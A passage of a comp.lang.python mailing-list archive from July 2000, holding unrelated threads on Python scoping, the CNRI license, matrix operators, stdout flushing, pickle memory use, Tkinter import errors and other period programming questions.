> about stringIO file-like objects, even though it would probably work
> fine. If you check that it is an integer, your code will complain about
> integers, even though ti would probably work fine.

What are your experiences? Does the type(arg) checking really become
unmanageable as Paul's post implies? If so what are the alternative routes?

oivvio




From aahz at netcom.com  Fri Jul 28 16:55:19 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 28 Jul 2000 20:55:19 GMT
Subject: [Draft] Open Letter to CNRI: Request for clarification
References: <39816303.C808D05A@nowonder.de>
Message-ID: <8lsrvn$rsr$1@slb6.atl.mindspring.net>

In article <39816303.C808D05A at nowonder.de>,
Peter Schneider-Kamp  <nowonder at nowonder.de> wrote:
>
>I like the idea of an open letter to CNRI expressing the concern of the
>Python Language Community. It cannot hurt to have them know what we feel
>about the issues at hand. Unfortunately, as Martijn observed, the issues
>at hand are not easy to define. I have nevertheless tried my neurons on
>a draft. I am very open to every kind of critique or addition to this one
>(please correct my English, too, as it is not my mother tongue):

I think what I'll do here is propose a somewhat different draft; feel
free to adopt wholesale or make whatever changes you wish.  I'll
withhold my signature until I see the final draft:

Dear CNRI,

The following attached signatures represent people from the Python
community who would like some clarification regarding the future of the
Python language.  We have been hearing that the Python license is about
to change, and we request a plain-English, non-legalese statement
regarding the purpose of these changes and the ways in which they affect
Python's use.

We recognize that this statement cannot substitute for the license
itself, but it will give us all a background with which to evaluate the
license.

Sincerely,

XXX
YYY
ZZZ
--
                      --- Aahz (Copyright 2000 by aahz at pobox.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

NOTE: end of September, Earthlink kills Netcom.  My new permanent address is 
aahz at pobox.com.  I have not decided where to set my primary shell account.
Please do not send me e-mail condolences; my mailbox is already too big.


From gregory.lielens at fft.be  Fri Jul 14 08:51:05 2000
From: gregory.lielens at fft.be (Gregory Lielens)
Date: Fri, 14 Jul 2000 14:51:05 +0200
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396daf35.3870545@aplnews> <slrn8ms7cv.sj.hzhu@localhost.localdomain> <396f0031.3421579@aplnews>
Message-ID: <396F0CB9.F51B4D53@fft.be>

> >>The main thing I'd think about in addition to standard MATLAB syntax
> >>is a natural 'prolongation' syntax.
> What I mean is, given vectors, e.g.,
> 
> d = [d1 d2]
> c = [ c1 c2 c3]
> 
> an apparently incorrect element-wise multiplication like
> 
> d'.*c
> 
> would be interpreted as
> 
> [d1 d1 d1; d2 d2 d2].*[c1 c2 c3;c1 c2 c3]
> 
which is a classical matrix product d'*c, I think,at least if you
distinguish between line and column vectors...

Is there other uses of the prolongation syntax wich is not feasable with
an inner product c=a at b defined as
c(i1,...,in,k1,...,km)= sum_over_j(a(i1,...,in,j) * b(j,k1,...,km)), and
well choosen dimensions for a and c?
If creation of dummy dimension in arrays (i.e. with size 1) is easy, I
think it is a good (better?) alternative
to prolongation...

Such inner product is valid for array of arbitrary dimensions, and
degenerate to matrix product when both operands are matrix, it should
thus be suitable to both for NumPy and MatPy...
I think it is valid proposition for the meaning of the new
multiplicative operator, should such operator be adopted (and I hope so
:-))


Greg.


From aahz at netcom.com  Sun Jul 16 12:16:18 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 16 Jul 2000 16:16:18 GMT
Subject: Python equivalent of CPAN in Perl
References: <397122FB.71E32674@wl.vg> <8krfa9$vf4$1@nntp9.atl.mindspring.net> <PKYoxIA+wXc5EwNL@jessikat.fsnet.co.uk>
Message-ID: <8ksn4i$krd$1@slb6.atl.mindspring.net>

In article <PKYoxIA+wXc5EwNL at jessikat.fsnet.co.uk>,
Robin Becker  <robin at jessikat.fsnet.co.uk> wrote:
>In article <8krfa9$vf4$1 at nntp9.atl.mindspring.net>, Aahz Maruch
><aahz at netcom.com> writes
>>
>>We've got half of it with Vaults of Parnassus.  Another third will come
>>with the standardization of distutils in Python 2.0 (remember, 1.6 has
>>been renamed to 2.0).
>
>Unfortunately not true. A large share of the Python market (on win32)
>have no compilers and probably wouldn't/couldn't use one even if it were
>present. I doubt the extension builders will always want to include
>.pyds for Python15.dll Python20.dll etc etc.

To the extent that this is true, isn't it also true of Perl/CPAN?
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"Let's go home and turn on MTV.  I want to watch some Pop-Up Videos."
"Pop-Up Videos is not on MTV, it's on VH-1."
"'MTV' is a generic."


From peter at schneider-kamp.de  Fri Jul 21 09:37:46 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Fri, 21 Jul 2000 13:37:46 +0000
Subject: Name valid outside function, but error name inside function
References: <I%Vd5.135$kp4.1588@m2newsread.uni2.es>
Message-ID: <3978522A.FE3B2FAC@schneider-kamp.de>

"Fernando Rodr?guez" wrote:
> 
> This raises a name error:
> def func2():
>     A = A + 'hi'    # this line causes the error
>     print A

If you are trying to change the global variable A, you have
to declare it global:

def func2():
    global A
    A = A + 'hi'
    print A

If you want to just reference A, use another variable name:

def func2():
    B = A + 'hi'
    print B

For more information on this consult the following FAQs:

http://www.faqts.com/knowledge-base/view.phtml/aid/4722/fid/241
http://www.faqts.com/knowledge-base/view.phtml/aid/2902/fid/241

Hope that helps,
Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From thor at localhost.localdomain  Mon Jul  3 13:08:24 2000
From: thor at localhost.localdomain (Manuel Gutierrez Algaba)
Date: 3 Jul 2000 17:08:24 GMT
Subject: Socket problem
Message-ID: <slrn8m1p8s.2e9.thor@localhost.localdomain>

I'm doing a game for my University. It's divided into 3 parts
( AI (clips), core(python), GUI(python)) communicated by sockets.
I've been running it in Red Hat 4.2 happily. 
Now, I'm switching to Red Hat 6.0 and the core when 
trying to access to port 50008 it says: 

ocket.error: (99, 'Cannot assign requested address')
Exception exceptions.AttributeError: 'conn' in 
<method servidor_de_socket.__del__ of servidor_de_socket instance at 8194e40>
 ignored
Exception exceptions.AttributeError:
 'delete non-existing instance attribute' in 
<method nucleo.__del__ of nucleo instance at 81939f8> ignored

Where is the fault ?

Thanks.


-- 
MGA


From banderson at boi.hp.com  Tue Jul 18 19:43:05 2000
From: banderson at boi.hp.com (Bill Anderson)
Date: Tue, 18 Jul 2000 17:43:05 -0600
Subject: Looking for Python CGI resources
References: <000101bfe5c6$e0e73f80$24b745c6@timaratz> <8jstua$2tk8$1@www.univie.ac.at>
Message-ID: <3974EB89.ADD794DB@boi.hp.com>

Matthias Huening wrote:
> 
> Peter Timaratz <timaratz at lisco.com> schrieb in im Newsbeitrag:
> 000101bfe5c6$e0e73f80$24b745c6 at timaratz...
> > I have the book 'Learning Python' and now I'm looking for material
> oriented
> > towards using Python for CGI. The only book that seems to cover this
> topic
> > in any depth is 'Internet Programming With Python' and it is out of
> print.
> > Is there any other CGI material available?
> >
> >
> 
> Have a look at the 'Web Programming Topic Guide'
> http://www.python.org/topics/web/
> on the Python-site.
> 
> Matthias


On a related note: I recently noticed that http://www.cgi-resources.com
now has a python section up. :-)


-- 
Bill Anderson (ARC)    Unix/Linux System Administrator
HPSO Engineering Productivity Team     Thursday, July 13, 2000    	
Random Quote:
  A bug in the hand is better than one as yet undetected.


From olivierS.dagenaisP at canadaA.comM  Mon Jul 17 00:11:41 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Mon, 17 Jul 2000 04:11:41 GMT
Subject: Wishlist sumbission form?
References: <eWuc5.40515$MT.1447099@news-west.usenetserver.com> <39727EFB.77234AEA@prescod.net>
Message-ID: <1Ivc5.91059$W35.2107233@news20.bellglobal.com>

In the future, everyone will be a programmer and will be able to implement
their own ideas quickly.  That, or when they start realizing that all of
humankind have become geeks, they'll just get rid of all computers and we'll
go back to grunting and hunting for food.

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III

"Paul Prescod" <paul at prescod.net> wrote in message
news:39727EFB.77234AEA at prescod.net...
> Matthew Cline wrote:
> >
> > Is there any way of submitting feature requests for Python,
> > other than by filing a bug report?
>
> I don't think so. If it is a very targeted request, you could try the
> but report route. If it is large and arguable, you should probably post
> it here and get some people to support it. If its good, someone will
> implement it. In open source software, only the features that developers
> are interested in get implemented so a wish list might well get ignored
> anyhow. It's not that nobody cares what you think it's that there's an
> infinite list of wishes so people tend to attack them in the order in
> order of personal interest or widespread demand.
> --
>  Paul Prescod - Not encumbered by corporate consensus
> It's difficult to extract sense from strings, but they're the only
> communication coin we can count on.
> - http://www.cs.yale.edu/~perlis-alan/quotes.html
>




From morten at src.no  Wed Jul 19 09:27:09 2000
From: morten at src.no (Morten W. Petersen)
Date: Wed, 19 Jul 2000 15:27:09 +0200
Subject: Stripping down Python
Message-ID: <Pine.LNX.4.21.0007191525280.25218-100000@lade.src.no>

Are there any papers/stories ideas of how to most effectively strip down
Python? Ie. how to trim down the size of Python as much as possible,
removing the parser etc. Just having the basic Python interpreter, with
basic libraries, capable of running .pyc and .pyo files.

-Morten

-------------------------------------------------------------
How to reply to email:
  http://home.sol.no/~vidaandr/news/OBSquoting.html (norsk)
  http://home.sol.no/~vidaandr/news/FAQquoting.html (english)

Who is the bigger fool? The fool or the fool who follows him?



From effbot at telia.com  Mon Jul 10 05:13:33 2000
From: effbot at telia.com (Fredrik Lundh)
Date: Mon, 10 Jul 2000 09:13:33 -0000
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
In-Reply-To: <Q4da5.125085$WS3.1096765@typhoon.we.rr.com>
Message-ID: <8kc43t+ncjb@eGroups.com>

stephen wrote:

> BTW, i'm sorry if i'm oversnipping, but i'm only commenting
> to a certain portion of this...

he's an idiot.  ignore him.

</F>




From greg at perceval.be  Wed Jul 19 03:53:36 2000
From: greg at perceval.be (Gregoire Welraeds)
Date: Wed, 19 Jul 2000 09:53:36 +0200 (CEST)
Subject: What's happening here ????
In-Reply-To: <FxxEG0.ALn@world.std.com>
Message-ID: <Pine.BSF.4.10.10007190953060.25598-100000@hercule.perceval.be>

In reply to the message of Will Ware sent on Jul 19 (see below) :

Am I wrong  or it was old post ?


--
Life is not fair
But the root password helps
--

Gregoire Welraeds
greg at perceval.be
Perceval Development team
-------------------------------------------------------------------------------
Perceval Technologies sa/nv	Tel: +32-2-6409194		
Rue Tenbosch, 9			Fax: +32-2-6403154		
B-1000 Brussels			general information:   info at perceval.net
BELGIUM				technical information: helpdesk at perceval.net
URL: http://www.perceval.be/
-------------------------------------------------------------------------------

On Wed, 19 Jul 2000, Will Ware wrote:

> Date: Wed, 19 Jul 2000 03:45:36 GMT
> From: Will Ware <wware at world.std.com>
> To: python-list at python.org
> Newsgroups: comp.lang.python
> Subject: Re: What's happening here ????
> 
> Gordon McMillan (gmcm at hypernet.com) wrote:
> > Gregoire Welraeds wrote: 
> > > [what's happening here]
> > Not much, dude. 
> 
> I think his question may be in regard to the sudden high
> volume on the newsgroup. Is there a news-server problem?
> Or has Python suddenly been Discovered?
> 
> -- 
>  - - - - - - - - - - - - - - - - - - - - - - - -
> Resistance is futile. Capacitance is efficacious.
> Will Ware	email:    wware @ world.std.com
> -- 
> http://www.python.org/mailman/listinfo/python-list
> 
> 




From davidw at linuxcare.com  Tue Jul 18 10:10:17 2000
From: davidw at linuxcare.com (David N. Welton)
Date: 18 Jul 2000 16:10:17 +0200
Subject: Getting local IP address...
References: <3bRMY4$ivo@openbazaar.net>
Message-ID: <87d7kb4jhy.fsf@eugene.prosa.it>

Once upon a time, I wrote a Python interface to the ifconfig
functionality.  The code can be found linked off of:

http://www.linuxcare.it/developers/davidw/

Ciao,
-- 
David N. Welton, Responsabile Progetti Open Source, Linuxcare Italia spa
tel +39.049.8043411 fax +39.049.8043412 cel +39.348.2879508
davidw at linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From baron at null.net  Sat Jul  8 00:42:29 2000
From: baron at null.net (Matthew Schinckel)
Date: Sat, 8 Jul 2000 14:12:29 +0930
Subject: urllib question
In-Reply-To: <h775k8.i06.ln@packbell.hansnet>
References: <394B196F.5ED9E73@fizzylab.com> <h775k8.i06.ln@packbell.hansnet>
Message-ID: <Pine.BOS.4.10.10007081409490.1550-100000@be>

On Fri, 7 Jul 2000, Hans F. Updyke wrote:

> [snip]
> 
> >u = urllib.urlopen(string.join(["http://cnn.com/",
> >"index.html"]))
> >print u.read()

Much better off using the urlparse module instead of string.join():

u = urllib.urlopen(urlparse.urljoin('http://cnn.com/','index.html'))
print u.read()


-- 
Matthew Schinckel	<matt at null.net>

ARCHDUKE FERDINAND FOUND ALIVE --
	FIRST WORLD WAR MISTAKE



From grey at despair.rpglink.com  Thu Jul 27 23:29:06 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 03:29:06 GMT
Subject: Perl is worse! (was: Python is Wierd!) 
References: <200007280137.LAA30715@envy.fulcrum.com.au>
Message-ID: <slrn8o1vc0.vnr.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 11:37:46 +1000, Richard Jones
<Richard.Jones at fulcrum.com.au> wrote:
>   Hey, don't worry about mis-using the linenoise - you just have to _look_
>at the damn structure in Perl the wrong way and suddenly it's something else. 

    Please, be realistic.  How is this different than Python's automatigal
variable declaration based solely on first use?  Let's not denounce one
language in favor of another when both use the same trick, one just half as
much as the other and causing twice as many problems because of it.  Let's not
also pretend that your language of choice doesn't have odd quirks, ok?  

    Just playing around try this some time:

a = None
list(a)
a = 1 
list(a)
a = 123
list(a)
a = "abc"
list(a)

    To me all of those could be converted into lists yet only the last one is.
Why do I say that?  

    None could be converted into an empty list.  None is nothing.  I fail to
see how you can't populate a list with a single nothing.

    1 is a single value.  I fail to see why that cannot be converted to [1]
which is allowed, btw. 
a = [1]
a

    123 is a single value.  I fail to see why that cannot be converted to
[123] which, again, is allowed.  See above.

    "abc" could either be a single value or a sequence.  It is converted as
["a", "b", "c"].  Of course, the same /could/ be said for the above.  However,
let's play around with this one since it is the only one that works somewhat
as expected in conversion.

a = "abc"
a
a = list(a)
a = str(a)
a

    a is now "['a', 'b', 'c']".  Which means we split a string up when
converting to list but don't concatinate on the way back.  I'd think, then,
that we'd not split the string up in the first place and consider it a single
value for a single entry in a list.  IE, ["abc"].  But, of course, dropping
back from a list to a str isn't perfect since you're going from a more complex
structure into a simple data set.

    How did I run across this?  Because I wanted to create an empty name each
time a class instance is created.  Since I was building the class I didn't
know if I was going to use a list or a str.  I figure I could just set it
to None and then manipulate it later.  Nope.  Couldn't even convert it even
though the conversion seems quite straightforward to me.  None into any
structure should yield and empty of that structure.  We can have empty
strings, tuples, lists and directories.  Funny thing, though.  I can do this
and it works just fine:

a = None
a = ""

    Amazing, that.  Automagical conversion from None to an emptry string on
the assignment operator.  Actually, we both know, and correct me as I may be
wrong, that it is really reassigning the data space a is pointing to.

    However, if we want to create the namespace with nothing we cannot because
we cannot convert it for later use.  Thus, we are back to declaring variables
except this time we're doing it with automagical (implicit) means instead of
explicit.  

    Like I said, every language has its quirks.  Every language.  Just because
this is your favorite doesn't mean it doesn't have quirks, just means you are
used to them.  Just as a perl programmer I am used to perl's quirks and take
advantage of them and, yes, sometimes get caught by them as well.  Just as I
am in the process of learning Python (rapidly, I might add) and have, and
will, be caught by its quirks and will also learn to take advantage of them.

    But please, if you're going to toss rocks out your glass house, at least
be realistic about it, ok?  At least then your neighbors are more apt to help
you sweep up the resulting mess.

    And just for fun, here's a good quirk for you.  

None = 1
a = None
>>> if a:
...   print "foo\n"
... 
foo

>>> a
1

    I think that is kinda neat, don't you?  

{grey at teleute:~} perl
null = "foo";
Can't modify constant item in scalar assignment at - line 1, near ""foo";"

    I just don't understand how people can advocate for types and the
restrictions they impose while, on the other hand, embracing a language that
is free enough to shoot yourself in the foot by reassigning None.

    Shoot yourself with "conversion" or with assignments like this, either way
your foot is shot.  I say learn proper gun safty and aim it elsewhere.  ;)
Seriously, that isn't to say that None should be restricted from being
changed, just, uh, anyone know how to change it back aside from restarting
python?  :)

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From phd at phd.russ.ru  Fri Jul 14 06:01:27 2000
From: phd at phd.russ.ru (Oleg Broytmann)
Date: Fri, 14 Jul 2000 10:01:27 +0000 (GMT)
Subject: Apache Log Parser in written Python
In-Reply-To: <8kmfcf$siv$1@nnrp1.deja.com>
Message-ID: <Pine.LNX.4.21.0007141000260.14199-100000@fep132.fep.ru>

On Fri, 14 Jul 2000 shindich at my-deja.com wrote:

> There are numerous free Apache Log Parsers floating around. Most of them
> were written in Perl. I recently installed an Apache server and I needed
> a utility to parse the access log and produce some simple reports.
> Naturally I wrote t in Python. While this utility is probably going to
> be too slow if you have huge log files, for most of you folks who have
> no more then 100 hits a day this utility could be useful.
> 
> If anyone is interested you can get it at
> http://www.shindich.com/sources/. Click on Apache Log Parser link on
> this page.

   Wanna compare with weblog? http://www.mnot.net/scripting/python/WebLog/

Oleg.            (All opinions are mine and not of my employer)
---- 
    Oleg Broytmann      Foundation for Effective Policies      phd at phd.russ.ru
           Programmers don't die, they just GOSUB without RETURN.




From aahz at netcom.com  Tue Jul 25 16:46:31 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 25 Jul 2000 20:46:31 GMT
Subject: perl to python, case + regular expression question
References: <y7gd7k26jtd.fsf@bandersnatch.lerc.nasa.gov>
Message-ID: <8lkub7$mqo$1@slb7.atl.mindspring.net>

In article <y7gd7k26jtd.fsf at bandersnatch.lerc.nasa.gov>,
Jim McKim  <mckim at bandersnatch.lerc.nasa.gov> wrote:
>
>if re.search('^log entry (\d+)', input_line):
>    match = re.search('^log entry (\d+)', input_line)
>    log_entry_num = match.group(1)
>    ...etc.

I'd write this as

re_log_entry = re.compile(r'^log entry (\d+)')
    ...
match = re_log_entry.search(input_line)
if match is not None:
  log_entry_num = match.group(1)

Note the use of the raw (r'') string to protect the backslash, the fact
that we're gaining efficiency by not compiling the regex in the loop,
and that check against None.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Zie is so far from a clue that it would take a sub-light vessel several
years to reach one.  --Aahz


From niels at endea.demon.nl  Tue Jul 25 08:19:42 2000
From: niels at endea.demon.nl (Niels Diepeveen)
Date: Tue, 25 Jul 2000 14:19:42 +0200
Subject: Looping on more than one list
References: <3979C6F4.B1FF1800@atlsci.com> <B59FF171.6878%dgoodger@bigfoot.com>
Message-ID: <397D85DE.F7F4B43@endea.demon.nl>


David Goodger schreef:
> 
> on 2000-07-22 12:08, ahmed Bouferguene (aboufer at atlsci.com) wrote:
> > Do no know much of python, but I am wondering whether it is possible
> > to loop
> > on more than one list
> 
> A more elegant solution is currently in the works, but for now, you can use:
> 
> >>> map(None,"abcd",[1,2,3])
> [('a', 1), ('b', 2), ('c', 3), ('d', None)]
> 
> "abcd" is a sequence of 4 items, of course. The above doesn't stop on
> exhaustion of the shortest list though. If it must, you can use:
> 
...

> >>> c=[1,2,3,4]
> >>> for (x,y) in map(None,b,c):
> ...   if None in (x,y): break   # required for uneven sequences,
>                                 # NOT containing None!
Or, more reliably:
for x,y in map(None, b[:len(c)], c[:len(b)]):

-- 
Niels Diepeveen
Endea automatisering



From olivierS.dagenaisP at canadaA.comM  Fri Jul  7 14:35:21 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Fri, 07 Jul 2000 18:35:21 GMT
Subject: Flushing sdtout
References: <sn4s61hl9t.fsf@motorola.com>
Message-ID: <Jpp95.49747$W35.1083256@news20.bellglobal.com>

Do a blank raw_input, sort of like:

    print 'Enter type of DRC to run from menu -->'
    sys.stdout.flush ( )
    selection = raw_input ( ' ' )


Also, you could write your own function:

def print_flush ( message ):
    print message
    sys.stdout.flush ( )

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III

"Aaron Ginn" <aaron.ginn at motorola.com> wrote in message
news:sn4s61hl9t.fsf at motorola.com...
>
> Is there a simple way to flush stdout on every print statement similar
> to the $| variable in perl?  Currently, I'm adding a
> sys.stdout.flush() statement after every single print statement in a
> script in order to write the run to a logfile, but I'd like to simply
> be able to tell python to do it after every print statement without
> explicitly telling it to.
>
> Also, how can I flush the string in an input statement to stdout
> before the input is provided by the user?  For example, here is a
> code snippet:
>
> print '------------------------------'
> sys.stdout.flush()
> print '      Type of DRC run.'
> sys.stdout.flush()
> print '------------------------------'
> sys.stdout.flush()
> print '1) DRC (default)'
> sys.stdout.flush()
> print '2) Antenna DRC check'
> sys.stdout.flush()
> print 'q) quit'
> sys.stdout.flush()
>
> while 1:
>     selection = raw_input('Enter type of DRC to run from menu --> ')
>     sys.stdout.flush()
>
> This prints the following to stdout:
>
> ------------------------------
>       Type of DRC run.
> ------------------------------
> 1) DRC (default)
> 2) Antenna DRC check
> q) quit
>
> Unfortunately, it does not print the string in the raw_input statement
> until the user has selected from the menu.  Thus the output looks like
> this:
>
> 1
> Enter type of DRC to run from menu -->
>
> I want the string printed to stdout before the user has to make a
> selection.  Is there a way to do this?
>
> Thanks,
> Aaron
>
> --
> Aaron J. Ginn                     Motorola SPS
> Phone: (480) 814-4463             SemiCustom Solutions
> Fax:   (480) 814-4058             1300 N. Alma School Rd.
> mailto:aaron.ginn at motorola.com    Chandler, AZ 85226




From tgagne at ix.netcom.com  Mon Jul 31 15:39:53 2000
From: tgagne at ix.netcom.com (Thomas Gagne)
Date: Mon, 31 Jul 2000 15:39:53 -0400
Subject: _tkinter.so: undefined symbol: PyThread_acquire_lock
References: <3985AE78.9E87E83D@ix.netcom.com>
Message-ID: <3985D609.FDEB498D@ix.netcom.com>

Ok, I discovered pything1.5 was already installed on my RHAT 6.2 system and
got the above error (traceback below).  I got the same result after rebuilding
it with

./configure --prefix=/usr --with-threads
make
make install (as root)

tgagne:/home/tgagne/tmp/idle-0.5 ./idle.py
Traceback (innermost last):
  File "./idle.py", line 2, in ?
    import PyShell
  File "./PyShell.py", line 12, in ?
    from Tkinter import *
  File "/usr/lib/python1.5/lib-tk/Tkinter.py", line 8, in ?
    import _tkinter # If this fails your Python may not be configured for Tk
ImportError: /usr/lib/python1.5/lib-dynload/_tkinter.so: undefined symbol:
PyThread_acquire_lock




From seanh at unforgettable.com  Wed Jul 19 19:28:17 2000
From: seanh at unforgettable.com (Sean Hummel <seanh@unforgettable.com>)
Date: Wed, 19 Jul 2000 23:28:17 GMT
Subject: creating windows plugin module with VC++.
Message-ID: <Pine.LNX.4.20.0007191840160.30914-100000@saddam.pseudonetworks.com>

Are there any examples of making a plugin using the VC++ compiler?  I am
having problems when attempting to define a class object.  

The following code:
static	PyTypeObject	fwaddressType=
{
	PyObject_HEAD_INIT(&PyType_Type) // <-OFFENDING LINE OF CODE
	0,
	"fwaddress",
	sizeof(fwaddress),
	0,
	
	/* Standard Methods */
	(destructor)fwaddress_dealloc,
	(printfunc)0,
	(getattrfunc)fwaddress_getattr,
	(setattrfunc)0,
	(cmpfunc)0,
	(reprfunc)	 fwaddress_repr,
	
	/* Type categories */
	0,
	0,
	0,
	0,
	0,
	0
};

Gives me the following error:


D:\phoenix\python\pydh.c(463) : error C2099: initializer is not a constant

I am not really sure how to get around this error. I was assuming that
this would have been taken care of in the python headers. 

------------------------------------------------
		   "Nonsense.  
     Space is blue and birds fly through it."
                --  Heisenberg

================================================
____________seanh at unforgettable.com_____________   
------------------------------------------------



From DOUGS at oceanic.com  Tue Jul 25 17:17:43 2000
From: DOUGS at oceanic.com (Doug Stanfield)
Date: Tue, 25 Jul 2000 11:17:43 -1000
Subject: Advice sought: text-mode (but not CLI) apps in Windows consol
	e ?
Message-ID: <8457258D741DD411BD3D0050DA62365907A283@huina.oceanic.com>

I dug this answer out of my archive.  Its a response from the eff-bot,
Fredrik Lundh, to a similar question some time ago:

> here's a small library which implements a thin layer on
> top of Windows' console API:

>    http://w1.132.telia.com/~u13208596/console.htm

> </F>

-sorry-to-not-see-that-tag-around-here-anymore'ly yr's  -Doug-

> -----Original Message-----
> From: fredp at mygale.org.nospam [mailto:fredp at mygale.org.nospam]
> Sent: Wednesday, July 19, 2000 10:07 PM
> To: python-list at python.org
> Subject: Re: Advice sought: text-mode (but not CLI) apps in Windows
> console ?
> 
> 
> ge at nowhere.none (Grant Edwards) said :
> 
> >There is a nice widget set called newt (with a Python binding
> >called snack) that uses slang.  If slang is available under
> >Win32, then it should be possible to use newt/snack.
> 
> Thanks (again). Unfortunately, s-lang looks like it's 
> cross-platform, but 
> newt does not, unless I'm mistaken. This stuff is certainly 
> well-hidden and 
> is hardly stumbled across of you don't already know of it :-)
> Sadly, all this is much too cryptic for the sort of casual 
> use I had in 
> mind -- it would actually be faster for me to dig out the 
> win32 extensions 
> and do regular Windows, which I wanted to avoid in the first place :-)
> 
> -- 
> YAFAP : http://www.multimania.com/fredp/
> -- 
> http://www.python.org/mailman/listinfo/python-list
> 



From sholden at bellatlantic.net  Wed Jul  5 09:22:37 2000
From: sholden at bellatlantic.net (Steve Holden)
Date: Wed, 05 Jul 2000 13:22:37 GMT
Subject: Postscript font metrics?
References: <39622330.3732B225@yahoo.com>
Message-ID: <3963368A.8442AD75@bellatlantic.net>

Paul Winkler wrote:
> 
> I need to generate some nice Postscript output from a python script,
> and I'm finding that I need to get at the font metrics info from the
> .afm files so I can place things correctly. (Either that or write
> *everything* in postscript -- no way!!)
> 
> I can't find anything like this on Parnassus. Anyone ever seen any
> python code that gets the useful info from .afm files?
> 
> If not, I might have a go at hacking the relevant parts of the Perl
> PostScript-Font-1.02 module into Python... but then I'll have to
> (yuck) read someone else's Perl code, which I haven't done in a
> looong time and I was never that good at it.
> 
> --
> .................    paul winkler    ..................
> slinkP arts:   music, sound, illustration, design, etc.
>         web page:  http://www.ulster.net/~abigoo
>       A member of ARMS:   http://www.reacharms.com
>                or http://www.mp3.com/arms


Have you considered using PIDDLE for your PostScript output?

I recently used it to generate PDF files, but PostScript is another
possible backend.  It's impressive, and will compute string lengths
for you to allow "typesetting"-style outputs.  Take a look at

	http://piddle.sourceforge.net

Hope this helps.

regards
 Steve

-- 
Helping people meet their information needs with training and technology.
703 967 0887   sholden at bellatlantic.net   http://home.cox.rr.com/sholden/


From tim_one at email.msn.com  Fri Jul 28 02:50:38 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Fri, 28 Jul 2000 02:50:38 -0400
Subject: The State of Python
In-Reply-To: <14721.10664.984701.353597@anthem.concentric.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEJHGMAA.tim_one@email.msn.com>

[Chris Lawrence]
> ...
> I hope BeOpen and/or CNRI are keeping RMS in the loop on this
> one, as I think that was the problem that led to the
> neverending QPL squabble.

While we can't say much yet, I can assure you that BeOpen is strongly
committed to GPL compatibility for the new Python license.  From that you
can probably draw inferences that are at least fundamentally correct <wink>.

Note that the current JPython license is not GPL compatible.  We'd sure like
to see that change.  But *retaining* CPython's GPL compatibility is the
first goal, and not one BeOpen is likely to compromise on.

world-weary-ly y'rs  - tim





From moshez at math.huji.ac.il  Wed Jul 26 03:39:19 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Wed, 26 Jul 2000 10:39:19 +0300 (IDT)
Subject: Memory management
In-Reply-To: <47qf5.12035$4p3.93361@news-server.bigpond.net.au>
Message-ID: <Pine.GSO.4.10.10007261038220.6156-100000@sundial>

On Wed, 26 Jul 2000, Mark Hammond wrote:

> Cyclops.py doesnt appear to be in the Python CVS tree - I think it should!

You were right once. However, now it is easier and more reliable to turn 
on cyclic gc, with the debug mode turned on.
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From thiele at muc.das-werk.de  Tue Jul 11 07:35:54 2000
From: thiele at muc.das-werk.de (Thomas Thiele)
Date: Tue, 11 Jul 2000 13:35:54 +0200
Subject: Is pickle buggy?
Message-ID: <396B069A.9EBDD68B@muc.das-werk.de>

Hallo! I try it again, becouse it is important:

Why doesn't this programm (pickle) eats memory?
Why does pickle (marshal in it) not freeing the whole memory?

And not cPickle eats more memory!

#-------------------------------------------------------

import pickle, sys

stt = ""

one , two, three , four, five = 65,65,65,65,65

while(1):
		
	#only for creating differnet strings of constant size
	#in my real program the picke data are sent via socket
	stt = "%c%c%c%c%c" % (one, two, three , four, five)   
	one = one + 1
	if one > 90:
		one = 65
		two = two + 1
		if two > 90:
			two = 65
			three = three + 1
			if three > 90:
				three = 65
				four = four + 1	
				if four > 90:
					four = 65
					five = five + 1	
					if five > 65:
						one , two, three , four, five = 65,65,65,65,65
		
	x = X(stt) 

	file = open("testpickle.pkl", 'w')   
    	p = pickle.Pickler(file) 
	p.dump(x)
	file.close()
	
	file = open("testpickle.pkl", 'r')
    	up = pickle.Unpickler(file) 
	x1 = up.load() 
	file.close()

	print stt, sys.getrefcount(x1.s)

#-----------------------------------------------------------------------------------------------------
run this program for some hours and you'll get a memory overflow!


Now I began to hate python and its memory management! 
I want my "new" and "delete" back! ;-)
What are the advantages of pythons memory management, when it could not
be fixed if a real problem was happend?


From mhammond at skippinet.com.au  Thu Jul 13 17:22:36 2000
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Thu, 13 Jul 2000 21:22:36 GMT
Subject: Memory leak problems with python and COM
References: <963474833.835936@proxy.lia.net>
Message-ID: <8klbu9$38u$1@nnrp1.deja.com>

In article <963474833.835936 at proxy.lia.net>,
  "Etienne Labuschagne" <etiennel at geospace.co.za> wrote:
> Deleted a and b on the python side and then destroying the COM
server - that
